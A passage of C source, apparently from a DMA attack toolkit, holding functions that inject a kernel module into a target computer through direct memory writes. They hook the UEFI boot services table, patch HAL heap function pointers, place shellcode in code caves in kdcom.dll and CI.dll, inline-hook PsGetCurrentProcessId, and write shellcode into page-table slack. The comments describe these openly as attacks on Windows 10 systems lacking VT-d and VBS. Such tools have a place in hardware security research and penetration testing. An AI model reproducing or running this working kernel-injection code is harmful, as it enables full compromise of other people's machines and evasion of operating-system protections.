0xfffffff8)) { continue; }\n                ctxMain->cfg.paEFI_IBI_SYST = dwAddrCurrent + o;\n                pPageStat->szAction = \"Waiting for KMD to activate\";\n                PageStatClose(&pPageStat);\n                LocalFree(pb);\n                return TRUE;\n            }\n        } else {\n            PageStatUpdate(pPageStat, dwAddrCurrent + 0x100000ULL, 0, 0x100);\n        }\n        dwAddrCurrent += 0x100000;\n    }\nfail:\n    PageStatClose(&pPageStat);\n    LocalFree(pb);\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMDOpen_UEFI(_In_ BYTE bOffsetHookBootServices)\n{\n    BOOL result;\n    BYTE pb[0x2000];\n    QWORD qwAddrEFI_BOOTSERV, qwAddrEFI_RUNTSERV, qwAddrHookedFunction;\n    QWORD qwAddrKMDDATA, qwAddrKMD;\n    DWORD cb;\n    qwAddrKMDDATA = 0x38000000; // Place KMD at a \"random\" address- Hopefully this works w/o having it overwritten.\n    //------------------------------------------------\n    // 1: Fetch IBI_SYST and BOOTSERV tables\n    //------------------------------------------------\n    if(!ctxMain->cfg.paEFI_IBI_SYST) {\n        result = KMDOpen_UEFI_FindEfiBase();\n        if(!result) {\n            printf(\"KMD: Failed. EFI system table not found.\\n\");\n            return FALSE;\n        }\n    }\n    result = DeviceReadDMA_Retry(ctxMain->hLC, ctxMain->cfg.paEFI_IBI_SYST & ~0xfff, 0x2000, pb);\n    result = result && (0x5453595320494249 == *(PQWORD)(pb + (ctxMain->cfg.paEFI_IBI_SYST & 0xfff)));\n    qwAddrEFI_BOOTSERV = *(PQWORD)(pb + (ctxMain->cfg.paEFI_IBI_SYST & 0xfff) + 0x60);\n    qwAddrEFI_RUNTSERV = *(PQWORD)(pb + (ctxMain->cfg.paEFI_IBI_SYST & 0xfff) + 0x58);\n    result = result && qwAddrEFI_RUNTSERV && (0 == (qwAddrEFI_RUNTSERV & 0xffffffff00000007));\n    result = result && qwAddrEFI_BOOTSERV && (0 == (qwAddrEFI_BOOTSERV & 0xffffffff00000007));\n    if(!result) {\n        printf(\"KMD: Failed. Error reading or interpreting memory #1 at: 0x%llx\\n\", ctxMain->cfg.paEFI_IBI_SYST);\n        return FALSE;\n    }\n    result = LcRead(ctxMain->hLC, qwAddrEFI_BOOTSERV & ~0xfff, 0x2000, pb);\n    result = result && (0x56524553544f4f42 == *(PQWORD)(pb + (qwAddrEFI_BOOTSERV & 0xfff)));\n    qwAddrHookedFunction = *(PQWORD)(pb + (qwAddrEFI_BOOTSERV & 0xfff) + bOffsetHookBootServices);\n    result = result && qwAddrHookedFunction && (0 == (qwAddrHookedFunction & 0xffffffff00000000));\n    if(!result) {\n        printf(\"KMD: Failed. Error reading or interpreting memory #2 at: 0x%llx :: 0x%llx\\n\", ctxMain->cfg.paEFI_IBI_SYST, qwAddrEFI_BOOTSERV);\n        return FALSE;\n    }\n    //------------------------------------------------\n    // 2: Prepare Patch\n    //------------------------------------------------\n    memset(pb, 0, 0x2000);\n    Util_ParseHexFileBuiltin(\"DEFAULT_UEFI_X64\", pb + 0x1000, 0x1000, &cb);\n    *(PDWORD)(pb + 0x1004) = (DWORD)ctxMain->cfg.paEFI_IBI_SYST;\n    *(PDWORD)(pb + 0x1008) = (DWORD)(qwAddrEFI_BOOTSERV + bOffsetHookBootServices);\n    *(PDWORD)(pb + 0x100C) = (DWORD)qwAddrHookedFunction;\n    //------------------------------------------------\n    // 3: Patch\n    //------------------------------------------------\n    if(ctxMain->cfg.fVerbose) {\n        printf(\"INFO: IBI SYST:   0x%08x\\n\", (DWORD)ctxMain->cfg.paEFI_IBI_SYST);\n        printf(\"INFO: BOOTSERV:   0x%08x\\n\", (DWORD)qwAddrEFI_BOOTSERV);\n    }\n    result = DeviceWriteDMA_Retry(ctxMain->hLC, qwAddrKMDDATA, 0x2000, pb);\n    if(!result) {\n        printf(\"KMD: Failed. Failed writing to memory #1.\\n\");\n        return FALSE;\n    }\n    qwAddrKMD = qwAddrKMDDATA + 0x1000;\n    result = DeviceWriteDMA_Retry(ctxMain->hLC, qwAddrEFI_BOOTSERV + bOffsetHookBootServices, 8, (PBYTE)&qwAddrKMD);\n    if(!result) {\n        printf(\"KMD: Failed. Failed writing to memory #2.\\n\");\n        return FALSE;\n    }\n    //------------------------------------------------\n    // 4: Wait for execution\n    //------------------------------------------------\n    printf(\"KMD: Waiting to receive execution.\\n\");\n    do {\n        Sleep(100);\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, qwAddrKMDDATA, 0x1000, pb)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            return FALSE;\n        }\n    } while(KMDDATA_MAGIC != *(PQWORD)pb);\n    //------------------------------------------------\n    // 5: Retrieve Memory Map\n    // (ugly to issue a 2nd unnecessary DMA write, but works to reuse code)\n    //------------------------------------------------\n    return KMD_SetupStage3((DWORD)qwAddrKMDDATA, pb + 0x1000, 0x1000);\n}\n\n/*\n* Load a kernel module (KMD) into a Windows 10 system on which not both of\n* Vt-d and Virtualization Based Security is enabled. This technique relies\n* on analysis by MemProcFS (vmm.dll) which currently only is a Windows module.\n* as a result the initial attack may currently only take place from Windows\n* attackers.\n* The technique puts the executable shellcode inside a code cave inside the\n* .text section of kdcom.dll.\n* It also patches HalBugCheckSystem to create a 'safe' landing function for\n* for thread creation via PsCreateSystemThread.\n* It also patches function pointer table in HAL heap to gain initial execution.\n*/\n_Success_(return)\nBOOL KMDOpen_WINX64_2_VMM()\n{\n    BOOL result = FALSE;\n    BYTE pbPage[0x1000];\n    BYTE pbExec[0x800], pbExecVerify[0x800];\n    DWORD cbExec = 0, cbMemMap = 0;\n    QWORD i = 0, j;\n    PVMMDLL_MAP_PTE pMemMap = NULL;\n    DWORD cSections;\n    PIMAGE_SECTION_HEADER pSections = NULL;\n    QWORD vaBaseKdCom, vaBaseNtoskrnl;\n    QWORD vaExec = 0, vaData = 0;\n    QWORD vaHook, qwHookOrig;\n    DWORD dwHookOffset;\n    QWORD paData, paKMD = 0;\n    QWORD qwTMP, vaHalBugCheckSystem;\n    BYTE pbHalBugCheckSystem_Orig[16] = { 0 };\n    // ------------------------------------------------------------------------\n    // 1: Initialize MemProcFS/vmm.dll\n    // ------------------------------------------------------------------------\n    if(!Vmmx_Initialize(FALSE, FALSE)) {\n        printf(\"KMD: Failed initializing required MemProcFS/vmm.dll\\n\");\n        return FALSE;\n    }\n    // ------------------------------------------------------------------------\n    // 2: Locate sections where to insert:\n    //    code: (kdcom.dll '.text' section)\n    //    data: (kdcom.dll '.data' section)\n    //    hal.dll!HalBugCheckSystem (used for 'hook' to provide valid landing\n    //             site for PsCreateSystemThread -> no security bugchecks...)\n    // ------------------------------------------------------------------------\n    vaBaseKdCom = VMMDLL_ProcessGetModuleBaseU(ctxMain->hVMM, 4, \"kdcom.dll\");\n    vaBaseNtoskrnl = VMMDLL_ProcessGetModuleBaseU(ctxMain->hVMM, 4, \"ntoskrnl.exe\");\n    vaHalBugCheckSystem = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"hal.dll\", \"HalBugCheckSystem\");\n    if(!vaBaseKdCom || !vaBaseNtoskrnl || !vaHalBugCheckSystem) {\n        printf(\"KMD: Failed vmm.dll!ProcessGetModuleBase (kdcom.dll/ntoskrnl.exe)\\n\");\n        goto fail;\n    }\n    if(!VMMDLL_ProcessGetSectionsU(ctxMain->hVMM, 4, \"kdcom.dll\", NULL, 0, &cSections) || !cSections) {\n        printf(\"KMD: Failed vmm.dll!ProcessGetSections (kdcom.dll) #1\\n\");\n        goto fail;\n    }\n    pSections = LocalAlloc(LMEM_ZEROINIT, cSections * sizeof(IMAGE_SECTION_HEADER));\n    if(!pSections) { goto fail; }\n    if(!VMMDLL_ProcessGetSectionsU(ctxMain->hVMM, 4, \"kdcom.dll\", pSections, cSections, &cSections)) {\n        printf(\"KMD: Failed vmm.dll!ProcessGetSections (kdcom.dll) #2\\n\");\n        goto fail;\n    }\n    for(i = 0; i < cSections; i++) {\n        if(!strcmp(\".text\", pSections[i].Name)) {\n            vaExec = pSections[i].VirtualAddress + vaBaseKdCom + 0x800;\n        }\n        if(!strcmp(\".data\", pSections[i].Name)) {\n            vaData = pSections[i].VirtualAddress + vaBaseKdCom + 0x800;\n        }\n    }\n    if(!vaExec || !vaData) { goto fail; }\n    VMMDLL_MemVirt2Phys(ctxMain->hVMM, 4, vaData, &paData);\n    VMMDLL_MemRead(ctxMain->hVMM, 4, vaHalBugCheckSystem, pbHalBugCheckSystem_Orig, 16);\n    // ------------------------------------------------------------------------\n    // 3: Check if inject is already active!\n    // ------------------------------------------------------------------------\n    if(VMMDLL_MemReadEx(ctxMain->hVMM, 4, vaData, (PBYTE)&paKMD, sizeof(QWORD), NULL, VMMDLL_FLAG_NOCACHE) && paKMD) {\n        goto success_kmd_load;\n    }\n    // ------------------------------------------------------------------------\n    // 4: Search for memory map entries between 0xfffff78000000000 - 0xfffff7ffffffffff\n    //    i.e. function table in hal.dll heap. Result is address of function pointer to\n    //    place hook upon.\n    // ------------------------------------------------------------------------\n    if(!VMMDLL_Map_GetPteU(ctxMain->hVMM, 4, FALSE, &pMemMap)) {\n        printf(\"KMD: Failed vmm.dll!Map_GetPte #2.\\n\");\n        goto fail;\n    }\n    while(TRUE) {\n        i++;\n        if((i == pMemMap->cMap) || (pMemMap->pMap[i].vaBase > 0xfffff7ffffffffff)) {\n            printf(\"KMD: Failed locating function hook pointer.\\n\");\n            goto fail;\n        }\n        if(pMemMap->pMap[i].vaBase < 0xfffff78000000000) { continue; }\n        for(j = 0; j < pMemMap->pMap[i].cPages; j++) {\n            vaHook = pMemMap->pMap[i].vaBase + (j << 12);\n            VMMDLL_MemReadPage(ctxMain->hVMM, 4, vaHook, pbPage);\n            if(KMD_Win_SearchTableHalpApicRequestInterrupt(pbPage, vaHook, &dwHookOffset)) {\n                vaHook += dwHookOffset;\n                goto success_locate_hook; // lvl2 loop breakout with goto\n            }\n        }\n    }\nsuccess_locate_hook:\n    if(!VMMDLL_MemRead(ctxMain->hVMM, 4, vaHook, (PBYTE)&qwHookOrig, sizeof(QWORD))) {\n        printf(\"KMD: Failed vmm.dll!MemRead #1.\\n\");\n        goto fail;\n    }\n    // ------------------------------------------------------------------------\n    // 5: prepare shellcode\n    // ------------------------------------------------------------------------\n    Util_ParseHexFileBuiltin(\"DEFAULT_WINX64_STAGE23_VMM\", pbExec, sizeof(pbExec), &cbExec);\n    *(PQWORD)(pbExec + 0x08) = vaData + 0x08;                   // shellcode atomicity check (cmpxchg_flag address)\n    *(PQWORD)(pbExec + 0x10) = qwHookOrig;                      // original (non-hooked) JMP to address\n    *(PQWORD)(pbExec + 0x18) = vaData + 0x10;                   // DEBUG data address\n    *(PQWORD)(pbExec + 0x20) = vaData;                          // KMDDATA physical address\n    *(PQWORD)(pbExec + 0x28) = vaBaseNtoskrnl;                  // NTOSKRNL.EXE virtual address\n    *(PQWORD)(pbExec + 0x30) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"MmAllocateContiguousMemory\");\n    *(PQWORD)(pbExec + 0x38) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"PsCreateSystemThread\");\n    *(PQWORD)(pbExec + 0x40) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"MmGetPhysicalAddress\");\n    *(PQWORD)(pbExec + 0x48) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"KeGetCurrentIrql\");\n    *(PQWORD)(pbExec + 0x50) = vaHalBugCheckSystem;\n    // ------------------------------------------------------------------------\n    // 6: hook and watch for execution & restore\n    // ------------------------------------------------------------------------\n    qwTMP = 0x0000000025ff9090;\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHalBugCheckSystem, (PBYTE)&qwTMP, 8);\n    qwTMP = vaExec + 2;\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHalBugCheckSystem + 8, (PBYTE)&qwTMP, 8);\n    if(!VMMDLL_MemWrite(ctxMain->hVMM, 4, vaExec, pbExec, 0x800) || !VMMDLL_MemRead(ctxMain->hVMM, 4, vaExec, pbExecVerify, 0x800) || memcmp(pbExec, pbExecVerify, 0x800)) {\n        printf(\"KMD: Failed vmm.dll!MemWrite (kdcom.dll) #2.\\n\");\n        goto fail;\n    }\n    if(!VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHook, (PBYTE)&vaExec, sizeof(QWORD))) {\n        printf(\"KMD: Failed vmm.dll!MemWrite (kdcom.dll) #3.\\n\");\n        goto fail;\n    }\n    printf(\"KMD: Code inserted into the kernel - Waiting to receive execution.\\n\");\n    do {\n        Sleep(100);\n        if(!VMMDLL_MemReadEx(ctxMain->hVMM, 4, vaData, (PBYTE)&paKMD, sizeof(QWORD), NULL, VMMDLL_FLAG_NOCACHE)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            goto fail;\n        }\n    } while(paKMD == 0);\n    printf(\"KMD: Execution received - continuing ...\\n\");\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHook, (PBYTE)&qwHookOrig, sizeof(QWORD));\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHalBugCheckSystem, pbHalBugCheckSystem_Orig, 16);\n    ZeroMemory(pbPage, 0x1000);\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaData, pbPage, 0x800);\n    //------------------------------------------------\n    // 7: Set up reference to KMD.\n    //------------------------------------------------\nsuccess_kmd_load:\n    if(ctxMain->cfg.fVerbose) {\n        printf(\"INFO: PA KMD BASE:  0x%08x\\n\", (DWORD)paKMD);\n    }\n    ctxMain->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));\n    if(!ctxMain->phKMD) { goto fail; }\n    ctxMain->phKMD->pk = (PKMDDATA)ctxMain->phKMD->pbPageData;\n    ctxMain->pk = ctxMain->phKMD->pk;\n    ctxMain->phKMD->dwPageAddr32 = (DWORD)paKMD;\n    LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData);\n    //------------------------------------------------\n    // 8: Retrieve physical memory range map and complete open action.\n    //------------------------------------------------\n    if(!KMD_GetPhysicalMemoryMap()) {\n        printf(\"KMD: Failed. Failed to retrieve physical memory map.\\n\");\n        printf(\"             KMD _may_ still be located at: 0x%08x\\n\", (DWORD)paKMD);\n        KMDClose();\n        goto fail;\n    }\n    ctxMain->cfg.paKMD = ctxMain->phKMD->dwPageAddr32;\n    if(ctxMain->pk->MAGIC != KMDDATA_MAGIC) {\n        ctxMain->pk->MAGIC = KMDDATA_MAGIC;\n        LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, sizeof(QWORD), ctxMain->phKMD->pbPageData);\n    }\n    result = TRUE;\nfail:\n    LocalFree(pSections);\n    VMMDLL_MemFree(pMemMap);\n    Vmmx_Close();\n    return result;\n}\n\n/*\n* Load a kernel module (KMD) into a Windows 10 system on which not both of\n* Vt-d and Virtualization Based Security is enabled. This technique relies\n* on analysis by MemProcFS (vmm.dll) which currently only is a Windows module.\n* as a result the initial attack may currently only take place from Windows\n* attackers.\n* The technique puts the executable shellcode inside a code cave inside CI.dll.\n* Initial code execution is gained by placing an inline hook in nt!PsGetCurrentProcessId\n*/\n_Success_(return)\nBOOL KMDOpen_WINX64_3_VMM()\n{\n    BOOL f, fResult = FALSE;\n    QWORD vaHook, vaCI, vaDataPre = 0, vaExec = 0;\n    DWORD i, cSections, dwHookJMP, paKMD = 0, cbShellcode = 0;\n    BYTE pbShellcode[0xc00], pbShellcodeVerify[0xc00], pbHookOriginalData[0x14], pbHook[13] = { 0 }, pbZero20[0x20] = { 0 };\n    PIMAGE_SECTION_HEADER pSections = NULL;\n    // ------------------------------------------------------------------------\n    // 1: Initialize MemProcFS/vmm.dll\n    // ------------------------------------------------------------------------\n    if(!Vmmx_Initialize(FALSE, FALSE)) {\n        printf(\"KMD: Failed initializing required MemProcFS/vmm.dll #1\\n\");\n        return FALSE;\n    }\n    // ------------------------------------------------------------------------\n    // 2: Load Signature.\n    // ------------------------------------------------------------------------\n    if(!Util_ParseHexFileBuiltin(\"DEFAULT_WINX64_STAGE23_VMM3\", pbShellcode, sizeof(pbShellcode), &cbShellcode)) { goto fail; }\n    // ------------------------------------------------------------------------\n    // 3: Locate locations where to insert\n    //    code: (CI.dll 'INIT'  section)\n    //    data: (CI.dll '.data' section)\n    //    hook: (nt!PsGetCurrentProcessId)\n    // ------------------------------------------------------------------------\n    f = (vaCI = VMMDLL_ProcessGetModuleBaseU(ctxMain->hVMM, 4, \"CI.dll\")) &&\n        VMMDLL_ProcessGetSectionsU(ctxMain->hVMM, 4, \"CI.dll\", NULL, 0, &cSections) &&\n        cSections &&\n        (pSections = LocalAlloc(LMEM_ZEROINIT, cSections * sizeof(IMAGE_SECTION_HEADER))) &&\n        VMMDLL_ProcessGetSectionsU(ctxMain->hVMM, 4, \"CI.dll\", pSections, cSections, &cSections);\n    for(i = 0; f && (i < cSections); i++) {\n        if(!strcmp(\"INIT\", pSections[i].Name)) {\n            vaExec = vaCI + pSections[i].VirtualAddress + 0x400;\n        }\n        if(!strcmp(\".data\", pSections[i].Name)) {\n            vaDataPre = ((vaCI + pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x20;\n        }\n    }\n    if(!f || !vaExec || !vaDataPre) {\n        printf(\"KMD: Failed get code cave (CI.dll) #2\\n\");\n        goto fail;\n    }\n    f = (vaHook = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"PsGetCurrentProcessId\")) &&\n        VMMDLL_MemRead(ctxMain->hVMM, 4, vaHook, pbHookOriginalData, sizeof(pbHookOriginalData));\n    if(!f) {\n        printf(\"KMD: Failed get hook (ntoskrnl.exe) #3\\n\");\n        goto fail;\n    }\n    if(pbHookOriginalData[0x00] == 0xE9) {\n        printf(\"KMD: Hook already inserted #4\\n\");\n        goto fail_hookrestore;\n    }\n    // ------------------------------------------------------------------------\n    // 4: Prepare and Inject!\n    // ------------------------------------------------------------------------\n    f = (*(PQWORD)(pbShellcode + 0x020) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"KeGetCurrentIrql\")) &&\n        (*(PQWORD)(pbShellcode + 0x028) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"PsCreateSystemThread\")) &&\n        (*(PQWORD)(pbShellcode + 0x030) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"ZwClose\")) &&\n        (*(PQWORD)(pbShellcode + 0x038) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"MmAllocateContiguousMemory\")) &&\n        (*(PQWORD)(pbShellcode + 0x040) = VMMDLL_ProcessGetProcAddressU(ctxMain->hVMM, 4, \"ntoskrnl.exe\", \"MmGetPhysicalAddress\")) &&\n        (*(PQWORD)(pbShellcode + 0x048) = VMMDLL_ProcessGetModuleBaseU(ctxMain->hVMM, 4, \"ntoskrnl.exe\"));\n    if(!f) {\n        printf(\"KMD: Failed get functions (ntoskrnl.exe) #5\\n\");\n        goto fail;\n    }\n    *(PQWORD)(pbShellcode + 0x018) = vaDataPre;\n    memcpy(pbShellcode + 0x004, pbHookOriginalData, sizeof(pbHookOriginalData));\n    if(!VMMDLL_MemWrite(ctxMain->hVMM, 4, vaExec, pbShellcode, cbShellcode) || !VMMDLL_MemRead(ctxMain->hVMM, 4, vaExec, pbShellcodeVerify, cbShellcode) || memcmp(pbShellcode, pbShellcodeVerify, cbShellcode)) {\n        printf(\"KMD: Failed MemWrite (CI.dll) #6\\n\");\n        goto fail;\n    }\n    if((vaHook - vaExec > 0x7fff0000) && (vaExec - vaHook > 0x7fff0000)) {\n        // ABSOLUTE JMP [MOV r10, addr + JMP r10]\n        pbHook[0] = 0x49;\n        pbHook[1] = 0xBA;\n        *(PQWORD)(pbHook + 2) = vaExec;\n        pbHook[10] = 0x41;\n        pbHook[11] = 0xFF;\n        pbHook[12] = 0xE2;\n    } else {\n        // RELATIVE JMP\n        pbHook[0] = 0xE9;   // JMP\n        *(PDWORD)(pbHook + 1) = (dwHookJMP = (DWORD)(vaExec - (vaHook + 5ULL)));\n    }\n    if(!VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHook, pbHook, sizeof(pbHook))) {\n        printf(\"KMD: Failed MemWrite (ntoskrnl.exe) #7\\n\");\n        goto fail;\n    }\n    // ------------------------------------------------------------------------\n    // 5: Wait for execution.\n    // ------------------------------------------------------------------------\n    printf(\"KMD: Code inserted into the kernel - Waiting to receive execution.\\n\");\n    do {\n        Sleep(100);\n        if(!VMMDLL_MemReadEx(ctxMain->hVMM, 4, vaDataPre + 0x1c, (PBYTE)&paKMD, sizeof(DWORD), NULL, VMMDLL_FLAG_NOCACHE)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            goto fail_hookrestore;\n        }\n    } while(paKMD == 0);\n    printf(\"KMD: Execution received - continuing ...\\n\");\n    //------------------------------------------------\n    // 6: Set up reference to KMD.\n    //------------------------------------------------\n    if(ctxMain->cfg.fVerbose) {\n        printf(\"INFO: PA KMD BASE:  0x%08x\\n\", (DWORD)paKMD);\n    }\n    ctxMain->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));\n    if(!ctxMain->phKMD) { goto fail; }\n    ctxMain->phKMD->pk = (PKMDDATA)ctxMain->phKMD->pbPageData;\n    ctxMain->pk = ctxMain->phKMD->pk;\n    ctxMain->phKMD->dwPageAddr32 = (DWORD)paKMD;\n    LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData);\n    //------------------------------------------------\n    // 7: Retrieve physical memory range map and complete open action.\n    //------------------------------------------------\n    if(!KMD_GetPhysicalMemoryMap()) {\n        printf(\"KMD: Failed. Failed to retrieve physical memory map.\\n\");\n        printf(\"             KMD _may_ still be located at: 0x%08x\\n\", (DWORD)paKMD);\n        KMDClose();\n        goto fail_hookrestore;\n    }\n    ctxMain->cfg.paKMD = ctxMain->phKMD->dwPageAddr32;\n    if(ctxMain->pk->MAGIC != KMDDATA_MAGIC) {\n        ctxMain->pk->MAGIC = KMDDATA_MAGIC;\n        LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, sizeof(QWORD), ctxMain->phKMD->pbPageData);\n    }\n    fResult = TRUE;\nfail_hookrestore:\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaHook, pbHookOriginalData, sizeof(pbHookOriginalData));\n    VMMDLL_MemWrite(ctxMain->hVMM, 4, vaDataPre, pbZero20, sizeof(pbZero20));\nfail:\n    LocalFree(pSections);\n    Vmmx_Close();\n    return fResult;\n}\n\n// https://blog.coresecurity.com/2016/08/25/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap/\n// HAL is statically located at: ffffffffffd00000 (win8.1/win10 pre 1703)\n// HAL is randomized between: fffff78000000000:fffff7ffc0000000 (win10 1703) [512 possible positions in PDPT]\n_Success_(return)\nBOOL KMDOpen_HalHijack()\n{\n    DWORD ADDR_HAL_HEAP_PA = 0x00001000;\n    //QWORD ADDR_SHELLCODE_VA = 0xffffffffffc00100;\n    BOOL result, fResult = FALSE;\n    PSIGNATURE pSignature = NULL;\n    PDWORD pdwPhysicalAddress;\n    BYTE pbHal[0x1000] = { 0 }, pbPT[0x1000] = { 0 }, pbNULL[0x300] = { 0 };\n    DWORD dwHookFnPgOffset;\n    QWORD qwPML4, qwHalVA, qwAddrHalHeapVA, qwPTEOrig, qwPTEPA, qwPTPA, qwShellcodeVA;\n    //------------------------------------------------\n    // 1: Fetch hal.dll heap and perform sanity checks.\n    //------------------------------------------------\n    if(!(pSignature = LocalAlloc(0, sizeof(SIGNATURE)))) { goto fail; }\n    Util_CreateSignatureWindowsHalGeneric(pSignature);\n    result = DeviceReadDMA_Retry(ctxMain->hLC, ADDR_HAL_HEAP_PA, 0x1000, pbHal);\n    qwPML4 = *(PQWORD)(pbHal + 0xa0);\n    qwHalVA = *(PQWORD)(pbHal + 0x78);\n    if(!result || (qwPML4 & 0xffffffff00000fff)) {\n        printf(\"KMD: Failed. Error reading or interpreting memory #1.\\n\");\n        goto fail;\n    }\n    if(((qwHalVA & 0xfffffffffff00fff) != 0xffffffffffd00000) && ((qwHalVA & 0xffffff803fe00fff) != 0xfffff78000000000)) {\n        printf(\"KMD: Failed. Error reading or interpreting memory #2.\\n\");\n        goto fail;\n    }\n    result = Util_PageTable_ReadPTE(qwPML4, qwHalVA, &qwPTEOrig, &qwPTEPA);\n    if(!result || ((qwPTEOrig & 0x00007ffffffff003) != 0x1003)) {\n        printf(\"KMD: Failed. Error reading or interpreting PTEs.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------\n    // 2: Search for function table in hal.dll heap.\n    //------------------------------------------------\n    result = FALSE;\n    for(qwAddrHalHeapVA = (qwHalVA & 0xffffffffffd00000); qwAddrHalHeapVA < (qwHalVA & 0xffffffffffd00000) + 0x100000; qwAddrHalHeapVA += 0x1000) {\n        result =\n            Util_PageTable_ReadPTE(qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA) &&\n            ((qwPTEOrig & 0x00007fff00000003) == 0x00000003) &&\n            DeviceReadDMA_Retry(ctxMain->hLC, (qwPTEOrig & 0xfffff000), 0x1000, pbHal) &&\n            KMD_Win_SearchTableHalpApicRequestInterrupt(pbHal, qwAddrHalHeapVA, &dwHookFnPgOffset);\n        if(result) {\n            break;\n        }\n    }\n    if(!result) {\n        printf(\"KMD: Failed. Failed finding entry point.\\n\");\n        goto fail;\n    }\n    qwPTPA = qwPTEPA & ~0xfff;\n    result = DeviceReadDMA_Retry(ctxMain->hLC, (DWORD)qwPTPA, 0x1000, pbPT);\n    if(!result || memcmp(pbPT + 0x200, pbNULL, 0x300)) { // 0x300 bytes between 0x200:0x500 in Hal PT must be zero\n        printf(\"KMD: Failed. Error reading or interpreting PT.\\n\");\n        goto fail;\n    }\n    qwShellcodeVA = (qwAddrHalHeapVA & 0xffffffffffe00000) + 0x40000 + 0x210;\n    //------------------------------------------------\n    // 3: Write shellcode into page table empty space.\n    //------------------------------------------------\n    *(PQWORD)(pbPT + 0x200) = qwPTPA | 0x63; // PTE for addr\n    memcpy(pbPT + 0x210, pSignature->chunk[3].pb, pSignature->chunk[3].cb);\n    *(PQWORD)(pbPT + 0x210 + STAGE2_OFFSET_FN_STAGE1_ORIG) = *(PQWORD)(pbHal + dwHookFnPgOffset);\n    *(PQWORD)(pbPT + 0x210 + STAGE2_OFFSET_EXTRADATA1) = qwAddrHalHeapVA + dwHookFnPgOffset;\n    DeviceWriteDMA_Retry(ctxMain->hLC, qwPTPA + 0x200, 0x300, pbPT + 0x200);\n    Util_PageTable_SetModeX(qwPML4, qwShellcodeVA);\n    //------------------------------------------------\n    // 4: Place hook by overwriting function addr in hal.dll heap.\n    //------------------------------------------------\n    Sleep(250);\n    DeviceWriteDMA_Retry(ctxMain->hLC, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, sizeof(QWORD), (PBYTE)&qwShellcodeVA);\n    if(ctxMain->cfg.fVerbose) {\n        printf(\"INFO: PA PT BASE:   0x%016llx\\n\", qwPML4);\n        printf(\"INFO: PA PT:        0x%016llx\\n\", qwPTPA);\n        printf(\"INFO: PA HAL HEAP:  0x%016llx\\n\", (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset);\n        printf(\"INFO: VA SHELLCODE: 0x%016llx\\n\", qwShellcodeVA);\n    }\n    printf(\"KMD: Code inserted into the kernel - Waiting to receive execution.\\n\");\n    //------------------------------------------------\n    // 5: wait for patch to reveive execution.\n    //------------------------------------------------\n    pdwPhysicalAddress = (PDWORD)(pbPT + 0x210 + STAGE2_OFFSET_STAGE3_PHYSADDR);\n    do {\n        Sleep(100);\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, (DWORD)qwPTPA, 4096, pbPT)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            goto fail;\n        }\n    } while(!*pdwPhysicalAddress);\n    printf(\"KMD: Execution received - continuing ...\\n\");\n    //------------------------------------------------\n    // 6: Restore hooks to original.\n    //------------------------------------------------\n    Sleep(250);\n    LcWrite(ctxMain->hLC, qwPTPA + 0x200, 0x300, pbNULL);\n    //------------------------------------------------\n    // 7: Set up kernel module shellcode (stage3) and finish.\n    //------------------------------------------------\n    fResult = KMD_SetupStage3(*pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);\nfail:\n    LocalFree(pSignature);\n    return fResult;\n}\n\n//-------------------------------------------------------------------------------\n// KMD command function below.\n//-------------------------------------------------------------------------------\n\n_Success_(return)\nBOOL KMD_IsRangeInPhysicalMap(_In_ PKMDHANDLE phKMD, _In_ QWORD qwBaseAddress, _In_ QWORD qwNumberOfBytes)\n{\n    QWORD i;\n    PHYSICAL_MEMORY_RANGE pmr;\n    for(i = 0; i < phKMD->cPhysicalMap; i++) {\n        pmr = phKMD->pPhysicalMap[i];\n        if(((pmr.BaseAddress <= qwBaseAddress) && (pmr.BaseAddress + pmr.NumberOfBytes >= qwBaseAddress + qwNumberOfBytes))) {\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMD_SubmitCommand(_In_ QWORD op)\n{\n    DWORD cFailCount;\n    